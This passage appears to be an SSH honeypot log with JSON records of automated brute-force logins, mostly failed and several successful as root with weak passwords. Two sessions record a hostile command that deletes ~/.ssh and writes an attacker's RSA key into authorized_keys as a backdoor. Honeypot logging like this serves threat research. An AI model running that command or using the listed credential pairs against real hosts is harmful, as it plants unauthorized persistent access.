  "end_time": "2026-10-08T14:35:39.369739Z",
  "duration": "3.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
41.93.82.201
2026-10-08 14:35:32.086699 UTC
COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / a112233.

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: 55f6d94f4e10
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 9.7s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "55f6d94f4e10",
  "src_ip": "41.93.82.201",
  "start_time": "2026-10-08T14:35:32.086699Z",
  "end_time": "2026-10-08T14:35:41.755835Z",
  "duration": "9.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "a112233."
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
92.118.39.77
2026-10-08 14:33:53.952070 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0eb79b5a19f4
Client Version: Unknown
Engagement Duration: 0.2s
{
  "id": "0eb79b5a19f4",
  "src_ip": "92.118.39.77",
  "start_time": "2026-10-08T14:33:53.952070Z",
  "end_time": "2026-10-08T14:33:54.118571Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
41.93.82.201
2026-10-08 14:33:43.908390 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: kennedy

Record ID: 640132337c6b
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 3.1s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "640132337c6b",
  "src_ip": "41.93.82.201",
  "start_time": "2026-10-08T14:33:43.908390Z",
  "end_time": "2026-10-08T14:33:46.962351Z",
  "duration": "3.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "kennedy",
      "pass": "kennedy"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
41.93.82.201
2026-10-08 14:31:59.920255 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: jose

Record ID: 0b1b19208281
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 3.1s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "0b1b19208281",
  "src_ip": "41.93.82.201",
  "start_time": "2026-10-08T14:31:59.920255Z",
  "end_time": "2026-10-08T14:32:02.975939Z",
  "duration": "3.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "jose",
      "pass": "12345678"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
41.93.82.201
2026-10-08 14:30:15.218148 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user15

Record ID: dc4186e6c820
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 3.1s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "dc4186e6c820",
  "src_ip": "41.93.82.201",
  "start_time": "2026-10-08T14:30:15.218148Z",
  "end_time": "2026-10-08T14:30:18.271884Z",
  "duration": "3.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "user15",
      "pass": "user15"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
41.93.82.201
2026-10-08 14:28:30.393579 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 0d467090c2f2
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.1s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "0d467090c2f2",
  "src_ip": "41.93.82.201",
  "start_time": "2026-10-08T14:28:30.393579Z",
  "end_time": "2026-10-08T14:28:32.454976Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
41.93.82.201
2026-10-08 14:28:27.004818 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 008a91ff0bf6
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 3.1s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "008a91ff0bf6",
  "src_ip": "41.93.82.201",
  "start_time": "2026-10-08T14:28:27.004818Z",
  "end_time": "2026-10-08T14:28:30.060000Z",
  "duration": "3.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
41.93.82.201
2026-10-08 14:28:22.799376 UTC
COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / qazQAZ123

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: f46dce397c34
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 9.6s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "f46dce397c34",
  "src_ip": "41.93.82.201",
  "start_time": "2026-10-08T14:28:22.799376Z",
  "end_time": "2026-10-08T14:28:32.451128Z",
  "duration": "9.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "qazQAZ123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
41.93.82.201
2026-10-08 14:26:08.276069 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: test2

Record ID: ceb78f5eaab4
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 3.1s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "ceb78f5eaab4",
  "src_ip": "41.93.82.201",
  "start_time": "2026-10-08T14:26:08.276069Z",
  "end_time": "2026-10-08T14:26:11.332562Z",
  "duration": "3.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "test2",
      "pass": "test2"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
216.226.78.10
2026-10-08 14:21:36.785150 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 81d7b08919a3
Client Version: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
Engagement Duration: 0.3s
HASSH Fingerprint: 9052c4ab4164c78256e71143dcfc7eac
{
  "id": "81d7b08919a3",
  "src_ip": "216.226.78.10",
  "start_time": "2026-10-08T14:21:36.785150Z",
  "end_time": "2026-10-08T14:21:37.058021Z",
  "duration": "0.3",
  "version": "SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7",
  "hassh": "9052c4ab4164c78256e71143dcfc7eac",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
14.103.118.150
2026-10-08 14:21:23.527879 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e3921004f8c8
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
{
  "id": "e3921004f8c8",
  "src_ip": "14.103.118.150",
  "start_time": "2026-10-08T14:21:23.527879Z",
  "end_time": "2026-10-08T14:23:23.579688Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
41.93.82.201
2026-10-08 14:20:28.533769 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: navid

Record ID: 3427037b8458
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 3.1s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "3427037b8458",
  "src_ip": "41.93.82.201",
  "start_time": "2026-10-08T14:20:28.533769Z",
  "end_time": "2026-10-08T14:20:31.603254Z",
  "duration": "3.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "navid",
      "pass": "navid"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
217.154.35.203
2026-10-08 14:19:48.337738 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: talha

Record ID: af501c866537
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.9s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "af501c866537",
  "src_ip": "217.154.35.203",
  "start_time": "2026-10-08T14:19:48.337738Z",
  "end_time": "2026-10-08T14:19:50.247025Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "talha",
      "pass": "talha"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}